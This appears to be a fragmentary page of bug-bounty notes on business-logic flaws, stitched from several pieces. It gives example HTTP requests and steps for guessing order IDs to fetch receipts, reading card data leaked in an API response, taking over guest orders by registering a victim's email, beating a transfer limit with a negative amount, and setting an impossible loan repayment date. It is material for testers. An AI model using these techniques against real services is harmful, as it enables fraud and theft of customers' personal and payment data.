Premium...........Paywall Bypass....refund....etc
Refund Feature Abuse
Purchasing Feature Abuse
Last updated
Was this helpful?
Was this helpful?
<https://example.com/account/orders/12345>
GET /account.php?history=y&orderno=10425128 HTTP/2
<https://example.com/pdf/><orderno>.pdf.
<https://example.com/pdf/10425128.pdf> I was testing a CRM (Customer Relationship Management) application, in which help desk representatives were only able to view basic customer details: their first and last names, their location, and the last 4 digits of their credit card number. But when I inspected the response, I found that the developers returned extra information that was not visible in the application view:
HTTP/1.1 200 OK
Host: vulnlab.com
{“first_name”: “Harry”, “last_name”: “Potter”, “isAdmin”: false, “location”:
“London”, “last_bill_cycle”: “110219”, “mask_cc”: “******4510”, “exp_-
date”: “08/23”, “cvv”: “123”, “full_card”: “6011111111114510”}Here's what to look for:
1. Target app that permits guest orders without creating an account
2. Target app doesn't require email verification for new account creation, or you've found an email verification bypass on sign-up
- Steps to reproduce
1. Place an order on the site as a "Guest" and use the victim's email during checkout, e.g., victim@example.com
2. The victim receives an email with the receipt
3. As an attacker, sign up using the email victim@example.com assuming there's no email verification
4. Navigate to the account's order history page, and you might strike gold by finding the previously made orders, leading to Order History and PII leaksuse negative number to exceed money transfer limit
private function CheckDayLimit($amount)
{
if($amount > 3000){
return false;
}
return true;
}
------------------------------------
So, this could be overcome by using a simple negative number. In the end, I bypassed
this business logic by the following request:
--------------------------------------
PUT /v1/api/transfer-money HTTP/1.1
Host: vulnlab.com
Content-Type: application/json
{‘csrf_token’: ‘RWFzdGVyIGVnZyEgWW91RhdGEg=’,’amount’: ‘-4500’, ‘currency’: ‘USD’, ‘customer_account’: ‘012-90829-012’}
And the response was:
HTTP/1.1 200 OK
Host: vulnlab.com
-------------------------------
Why did this happen? It seems that in the rest of the application logic, negative
numbers in the amount parameter were generated as positive numbers. However,
the negative value could override the “greater than” logic, letting us process the
transaction and bypass the business requirement.[] Change the loan return date to --> 31/February
--------------
Example
PUT /v1/api/customer/loan HTTP/1.1
Host: vulnlab.com
Content-Type: application/json
{‘csrf_token’: ‘RWFzdGVyIGVnZyEgWW91RhdGEg=’, ‘loadId’: ‘PID6459’,
‘first_payment’: ‘11032015’}
----------------------
PUT /v1/api/customer/loan HTTP/1.1
Host: vulnlab.com
Content-Type: application/json
{‘csrf_token’: ‘RWFzdGVyIGVnZyEgWW91RhdGEg=’, ‘loadId’: ‘PID6459’,
‘first_payment’: ‘31022015’}
-----------------------------------
Explain:
Obviously, there are only 28 days in February (and 29 days in a leap year). Hence, in
the above case, it means that we can receive the loan, while the return payment date
would never arrive.